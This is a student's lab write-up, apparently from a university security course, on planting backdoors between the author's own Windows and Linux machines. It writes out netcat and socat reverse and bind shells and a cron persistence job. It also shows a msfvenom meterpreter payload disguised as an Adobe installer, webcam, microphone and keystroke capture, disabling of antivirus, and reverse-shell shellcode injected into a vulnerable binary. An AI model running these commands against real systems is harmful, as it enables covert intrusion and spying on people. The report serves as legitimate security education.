Exp2 后门原理与实践

目录

一、实验目标

二、实验准备

三、实验步骤

四、总结思考

 

一、实验目标

任务一

使用netcat获取主机操作Shell,cron启动。

任务二

使用socat获取主机操作Shell, 任务计划启动。

任务三

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

任务四

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

任务五(加分内容)

使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

 

二、实验准备

(一)Windows获取Linux Shell

在Windows端,调出终端 win+r 

查看IPv4地址 ipconfig 

下载netcat、socat文件https://gitee.com/wildlinux/NetSec/attach_files

关闭防火墙,终端切换到ncat所在文件目录,启动监听 ncat.exe -l -p 4316 (注意命令为-l不是-1)

在Linux端,关闭防火墙 ufw disable 

反弹连接 nc 192.168.145.1 4316 -e /bin/sh 

在Windows端,获得Linux的Shell,用pwd和ls指令测试成功。

 

(二)Linux端获取Windows Shell

在Linux端,查看IPv4地址 ifconfig 

启动监听 nc -l -p 4316 

在Windows端,反弹连接 ncat.exe -e cmd.exe 192.168.145.128 4316  

在Linux端,获得Windows的Shell,用ipconfig指令测试成功。

 (三)通过ncat传输数据和文件

在Windows端,启动监听 ncat.exe -l 4316 

在Linux端,连接Windows nc 192.168.145.1 4316 

连接成功,在Linux端终端输入字符,Windows端同步显示,实现字符传输。

 

在Linux端,创建文件20184316.txt,输入内容如图。

在Windows端,启动监听,把数据存放在kali.out中 ncat.exe -l 4316 > kali.out 

在Linux端,发送文件 nc 192.168.145.1 4316< 20184316.txt,kali 

 在Windows端,接收到文件kali.out,内容与Linux中一致,传输成功。

 

 

三、实验步骤

任务一:使用netcat获取主机操作Shell,cron启动

在Windows端,启动监听 ncat.exe -l 4316 

在Linux端,新建cron定时任务 crontab -e 

每1分钟执行指令1次,反弹连接Windows */1 * * * * /bin/netcat 192.168.145.1 4316 -e /bin/sh 

查看定时任务列表 crontab -l  

1分钟后,Linux自动执行指令,在Windows端,获得Linux的Shell,用ls指令测试成功。

 

 

任务二:使用socat获取主机操作Shell, 任务计划启动

在Windows端,设置-控制面板-管理工具-任务计划程序-创建任务。

新建触发器,开始任务条件为工作站锁定时。

新建操作,程序或脚本设置为socat.exe文件路径。

绑定cmd.exe到端口4316,重定向cmd.exe的stderr到stdout,添加参数设置为tcp-listen:4316 exec:cmd.exe,pty,stderr

win+l锁定计算机。

 

 

 在Linux端,获取Windows Shell socat -tcp:192.168.145.1:4316 

失败,猜测为端口号问题,将端口号更换为1050。

再次尝试,获得Windows的Shell,用ipconfig指令测试成功。

 

 

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

生成Adobe_Acrobat_Pro_v2018.4316.exe后门程序,ip地址为Linux端地址,内置在后门程序中与控制主机取得联系

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.128 LPORT=4316 -f exe > Adobe_Acrobat_Pro_v2018.4316.exe 

在Windows端,启动监听 ncat.exe -l 4316 > Adobe_Acrobat_Pro_v2018.4316.exe 

在Linux端,发送文件 nc 192.168.145.1 4316 < Adobe_Acrobat_Pro_v2018.4316.exee 

文件传输成功。

关闭联想安全管家安全防护。

 

 

 关闭Windows Defender实时保护。

 

在Linux端,启动MSF

 msfconsole 

 use exploit/multi/handler 

 set payload windows/meterpreter/reverse_tcp 

 set LHOST 192.168.145.128 

 set LPORT 4316 

 exploit 

在Windows端,启动后门程序。

在Linux端,获得Windows的Shell,用ipconfig指令测试成功。

 

 

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在Linux端,录音 record_mic 

拍照 webcam_snap 

摄像头指示灯亮,起到一定的隐私保护功能,若该指示灯与摄像头电源硬件连接,则被后门程序绕过的可能性较小。

 

在操作过程中,Windows Defender的篡改防护又跳出来把程序ban了。

截屏 screenshot 

获取击键记录,开始记录 keyscan_start 

在Windows端,输入20184316 Hamil Lee等内容。

在Linux端,输出结果 keyscan_dump 

提权,查看当前用户 getuid 

提权 getsystem ,提权失败,Windows端发出严重警告并再次ban了程序。

 

 

多次尝试后仍提权失败,猜测为Windows保护机制原因。

 

 

任务五(加分内容):使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

https://www.exploit-db.com/shellcodes中搜索linux/x86 - Reverse。

找到合适的shellcode,https://www.exploit-db.com/shellcodes/44620

 

 

在Linux端,按实验一步骤,调整shellcode,此部分详细过程省略。

https://www.cnblogs.com/hamil/p/14501930.html(实验一)

 

 

 

 生成合适的input_shellcode。

perl -e 'print "A" x 32;print"\xd0\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

打开一个新终端,启动MSF

 use exploit/multi/handler 

 set payload linux/x86/shell_reverse_tcp 

 set LHOST 127.0.0.1 

 set LPORT 4444 

 exploit 

 

运行pwn7,并将input_shellcode作为输入 (cat input_shellcode;cat) | ./pwn7 

 

在运行MSF的终端端,获得Shell,用ls指令测试成功。

 

 四、总结思考

(一)例举你能想到的一个后门进入到你系统中的可能方式?

实验中我主动将后门程序复制到主机Windows系统中,程序是否会被杀毒软件清除、能否通过防火墙且不论,单就后门程序进入系统的可行方式有许多,如隐藏在正常下载程序的压缩包内、邮箱附件下载、U盘摆渡、聊天软件文件传输、局域网文件共享等。

(二)例举你知道的后门如何启动起来(win及linux)的方式?

Windows端如开机启动项、任务计划。

Linux端如cron。

(三)Meterpreter有哪些给你映像深刻的功能?

模块化组装程序、获取击键记录、摄像头、录音、截屏等。

(四)如何发现自己有系统有没有被安装后门?

在任务管理器中查看可疑的进程。

及时更新木马库,定时进行全盘扫描。

检查开机启动项列表。

检查任务计划列表。

安装可靠的杀毒软件。

(五)实验收获与感想

通过此次实验,我接触到并亲自完成了许多以往只能在美剧或新闻里看到的操作,如获取击键记录、摄像头拍照、截屏、控制另一台主机等,这让我更好理解了这些操作背后的知识点(后门)和相关原理,对这些操作不再有距离感,也不再感到害怕,对我日后的学习工作生活都会有很大帮助。

同时,通过完成加分任务,自己上网寻找可用的shellcode并调整注入,加深了我对实验一中shellcode的印象与理解。

不过这次实验中的操作都有很大局限性,需要被攻击主机主动卸下防备、主动联系操作主机,在现实生活中比较鸡肋,这块知识还需要进一步学习(免杀等)。

最后,实验中我遇到了各种问题,但总体而言都是小问题,主要通过请教同学和上网搜索解决,没有耽搁太多时间。

posted @ 2021-03-27 09:58  Hamil  阅读(122)  评论(0)    收藏  举报